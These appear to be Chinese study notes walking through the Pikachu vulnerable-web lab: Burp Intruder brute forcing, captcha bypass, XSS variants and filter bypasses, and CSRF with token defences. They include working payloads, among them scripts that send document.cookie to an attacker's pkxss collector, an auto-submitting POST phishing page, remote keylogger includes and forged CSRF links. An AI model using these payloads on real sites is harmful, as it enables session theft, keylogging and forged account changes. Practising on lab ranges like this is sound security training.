Pikachu教程-1
pikachu:
暴力破解
基于表单的暴力破解实验:
使用burp的Intruder模块进行暴力破解
payload选项卡设置字典
资源池,设置扫描的线程,失败重试,请求间隔,对结果设置识别符号等
第一种攻击Sniper
对单个目标不断重发,简单列表就是可以在下面直接加或者粘贴,Runtime file就是指定字典文件
第二种攻击Battering ram
POST /vul/burteforce/bf_form.php HTTP/1.1
Host: pikachu:8018
Content-Length: 34
Cache-Control: max-age=0
Origin: http://pikachu:8018
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://pikachu:8018/vul/burteforce/bf_form.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=5k229ti7kv4drflqa9a84ho896
x-forwarded-for: 127.0.0.1
Connection: close
username=§1§&password=§1§&submit=Login
其实就是对你选的每一个变量都变成你字典中的值不断重发
第三种攻击Pitchfork
其实就是多个字典,一一对应的重发
第四种攻击Cluster bomb
做交叉,对每一个密码尝试发所有账号的包
如何判断哪次请求是成功的腻???
爆破失败
提示:username or password is not exists~
使用Setting中的Grep - Match
然后再去爆破,会有一个 username or password is not exists选项,点一下,筛选出不带值的就是爆破成功的账号密码
还有就是根据返回包的长度:
爆破成功的返回数据包长度一般会与失败的长度不一样
绕过验证码的爆破
与后台相关的验证码,对验证码设置特定SESSION,有效期限等等,这样才是安全的验证码
但是有些系统存在验证码绕过
在服务端的验证码
一,验证码在后台不过期,导致可以长期使用
二,验证码校验不严格,逻辑有问题
三,设计太简单,可机器识别提取等等
服务端验证码:可能会有时间效果
一样可以来拿爆破
在前端做的验证码
通过JS代码生成并验证的:
<script language="javascript" type="text/javascript">
var code; //在全局 定义验证码
function createCode() {
code = "";
var codeLength = 5;//验证码的长度
var checkCode = document.getElementById("checkCode");
var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的
for (var i = 0; i < codeLength; i++) {
var charIndex = Math.floor(Math.random() * 36);
code += selectChar[charIndex];
}
//alert(code);
if (checkCode) {
checkCode.className = "code";
checkCode.value = code;
}
}
function validate() {
var inputCode = document.querySelector('#bf_client .vcode').value;
if (inputCode.length <= 0) {
alert("请输入验证码!");
return false;
} else if (inputCode != code) {
alert("验证码输入错误!");
createCode();//刷新验证码
return false;
}
else {
return true;
}
}
createCode();
</script>
这种的直接通过burp抓包—ctrl+r到重发器里面去
可以发现,随意更改验证码,或者删除验证码都是可以不断发包尝试爆破的,存在一个前端验证码的绕过
还有一些可以通过前端绕过
1,将验证码在cookie中泄露
2,将验证码存放在前端源码中
一样可以通过插件捕捉,添加到数据包中到达爆破目的
token显示在前端也是防不了暴力破解的
用工具先提取token然后插入数据包中即可爆破
XSS(跨站脚本)
跨站脚本
- XSS(跨站脚本)概述
- Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型: 1.反射性XSS; 2.存储型XSS; 3.DOM型XSS;
- XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。 XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。 形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。 因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理: 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入; 输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
XSS——获取cookie
钓鱼攻击
获取键盘记录
程序的输入输出控制不够严格,导致植入XSS代码
反射性XSS:
输入'"aaa查看返回什么
查看网页源代码,发现我们输入的代码直接插入p标签里面了
那么直接尝试<script>alert('xss')</script>
存在长度限制,修改前端代码即可——maxlength
抓包可以看到是由GET请求发包的
GET http://192.168.90.46:8003/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28111%29%3C%2Fscript%3E&submit=submit HTTP/1.1
Host: 192.168.90.46:8003
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.90.46:8003/vul/xss/xss_reflected_get.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=b1jp32b5oaqvpln25r4b3l7h21
x-forwarded-for: 127.0.0.1
Connection: keep-alive
直接把URL发送即可达到攻击
http://192.168.90.46:8003/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28111%29%3C%2Fscript%3E&submit=submit
POST其实就是参数和payload在数据包中,不是以URL形式展示
存储型XSS
一样的,放在了P标签中,可以执行任意JS代码
<script>alert('xss')</script>
DOM型xss
查看网页源码,说的很清楚
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what doyou see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
调用document(DOM)的getElem..方法获取text的内容
拼接到标签中,最后插入id="dom"的div中
其实就是构造 <a href='???'>what doyou see?</a>这里问号中的payload
整个过程都在前端处理
' onclick="alert('xss')">点这里
第二个一样的
<div id="xssd_main">
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
// alert(xss);
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
<!--<a href="" onclick=('xss')>-->
<form method="get">
<input id="text" name="text" type="text" value="" />
<input id="submit" type="submit" value="请说出你的伤心往事"/>
</form>
<div id="dom"></div>
</div>
<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>
理解一下这里的前端代码就懂了,点击第一个a标签执行JS代码插入我们输入的代码,点击第二个执行输入代码
XSS获取cookie
进入pkxss后台:配置文件夹中pkxss的数据库密码等,访问xxx/pkxss/pkxss_install.php 点击安装即可
GET型XSS漏洞利用——
把漏洞URL发送给对方,欺骗对方点击,将对方cookie发送到我们的后台中
<script>document.location = 'http://IP/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
可以自己在主机和虚拟机里配合使用
POST型XSS利用方式——
用户请求伪造页面:
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.90.46:8003/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://192.168.139.128:8001/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
<!--
*
<script>
document.write('<img src="http://127.0.0.1/antxss/xcookie/cookie.php?cookie='+document.cookie+'" width="0" height="0" border="0" />');
</script>
*/
/*
<script>
document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>
*/
-->
将恶意链接发送给用户即可实现POST请求的恶意获取cookie攻击
http://192.168.139.131/post.html一旦加载这个页面window.onload获取post表单模拟提交自动发送post请求
存储型XSS钓鱼攻击:
<script src="http://192.168.139.128/pkxss/xfish/fish.php"></script>
存储跳转,这段代码相当于GET http://192.168.139.128/pkxss/xfish/fish.php
XSS键盘获取
远程调用JS文件 ,跨域请求
<script src="http://192.168.139.128/pkxss/rkeypress/rk.js"></script>
在我们攻击机后台设置允许跨域请求,配置后台地址即可实现
XSS盲打
尝试输入跨站攻击脚本,无回显并不知道XSS攻击是否成功
点击提示登录后台,攻击到的是后台管理员
<script>alert(111)</script>
这里相当于是存储型XSS,一样可以来获取XSS,监听键盘等等
XSS绕过——过滤——转换
前端限制绕过,直接抓包重发,修改前端源码等等
正则过滤,大小写混合等等:<SCRIPT>alert(111)</sCRIpt>
拼凑:<scri<script>pt>alert(111)</scri</script>pt>
使用注释进行干扰:<scri<!--test-->pt>alert(111)</sc<!--test-->ript>
过滤:
编码,后台过滤特殊字符<script>,比如
eg:事件属性onxxx();<img src=x onerror="alert('xss')" />
可以把alert('xss')进行HTML编码,
XSS过滤
尝试输入payload:<script>alert(111)</script>
观察URL:message=alert(111)<%2Fscript>&submit=submit
查看网页源码,过滤掉了script
尝试大小写绕过 <ScRipT>alert(111)</ScRipt>
<svg onload=alert(1)>
<scr<script>ipt>alert(1)</scr<script>ipt>
<iframe src="javascript:alert(1)">
<img src=x onerror=alert(1)>
很多绕过姿势
这里没有编码就直接把用户输入插入到html
$html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";
说明只是对小写的 “script” 进行了过滤
查看后端源码,可以发现只是使用正则对<script进行过滤
xss之htmlspecialchars
htmlspecialchars函数将特殊的 HTML 字符转义为实体字符,从而防止用户输入被当作 HTML 或 JavaScript 执行。
默认的htmlspecialchars仅转义HTML特殊字符,不转义单引号
payload: q' onclick='alert(111)'
<p class='notice'>你的输入已经被记录:</p>
<a href='q' onclick='alert(111)''>q' onclick='alert(111)'</a>
这里用一个单引号闭合掉href属性,即可实现XSS攻击
xss之href输出
javascript:alert(111)
<div class="page-content">
<div id="xssr_main">
<p class="xssr_title">请输入一个你常用的网站url地址,我就知道你是什么人</p>
<form method="get">
<input class="xssr_in" type="text" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
<a href='javascript:alert(111)'> 阁下自己输入的url还请自己点一下吧</a> </div>
</div><!-- /.page-content -->
xss之js输出
尝试输入111
<script>
$ms='111';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
构造闭合
x'</script><script>alert('xss')</script>
闭合掉之前的即可
CSRF
Cross-site request forgery
跨站请求伪造
伪造一个请求(一个链接)欺骗用户点击,攻击实现(one click)
比如一个用户路人甲登录了一个网站,他进行密码修改操作,发送的是一个GET请求的数据包
然后黑客也注册了这个网站,他也做了这个请求,然后他将修改密码的请求伪造,引诱用户点击
条件:网站没有对用户修改请求做CSRF防护处理,路人甲点击链接时已经登录了网站(登陆状态)且易点击
与XSS的区别:本质上是借助用户权限攻击,XSS是拿到cookie直接盗取用户权限
测试:标记增删改查的请求,确认凭证的有效期(关闭浏览器cookie仍然有效)
比如:修改密码时无需输入旧密码,修改请求中没有使用安全的token
CSRF(get)
伪造GET请求的链接即可
http://192.168.90.46:8003/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=15988767673&add=nanjing&email=kobe%40pikachu.com&submit=submit
攻击者同样注册该网站进行登录然后修改个人信息抓包,发现修改敏感信息的请求类型是GET,可以伪造修改链接
用户点击改链接———实现攻击,修改用户信息
CSRF(post)
一样的测试流程,hacker登录后尝试修改信息,抓包查看数据包
POST http://192.168.90.46:8003/vul/csrf/csrfpost/csrf_post_edit.php HTTP/1.1
Host: 192.168.90.46:8003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.90.46:8003/vul/csrf/csrfpost/csrf_post_edit.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Origin: http://192.168.90.46:8003
Connection: keep-alive
Cookie: PHPSESSID=ddhk046jfq473qmcg0o5gpa313
Upgrade-Insecure-Requests: 1
Priority: u=0, i
sex=boy&phonenum=15988767673&add=wuhan&email=kobe%40pikachu.com&submit=submit
这里与XSS的POST钓鱼利用一样,伪造一个post钓鱼的页面,一旦访问自动提交post请求到CSRF漏洞站点
CSRF Token
每次请求修改信息页面时返回token
然后再提交修改时带上这个token,作为校验每次根据SESSID生成唯一的token进行对比
这样就做到了防护CSRF,攻击者无法伪造
GET http://192.168.90.46:8003/vul/csrf/csrftoken/token_get_edit.php?sex=boy&phonenum=15988767673&add=hhh1&email=kobe%40pikachu.com&token=2184168825b394b237229268978&submit=submit
防护:增加token,安全的会话管理避免会话被利用,访问控制—验证身份,使用POST增加验证码等等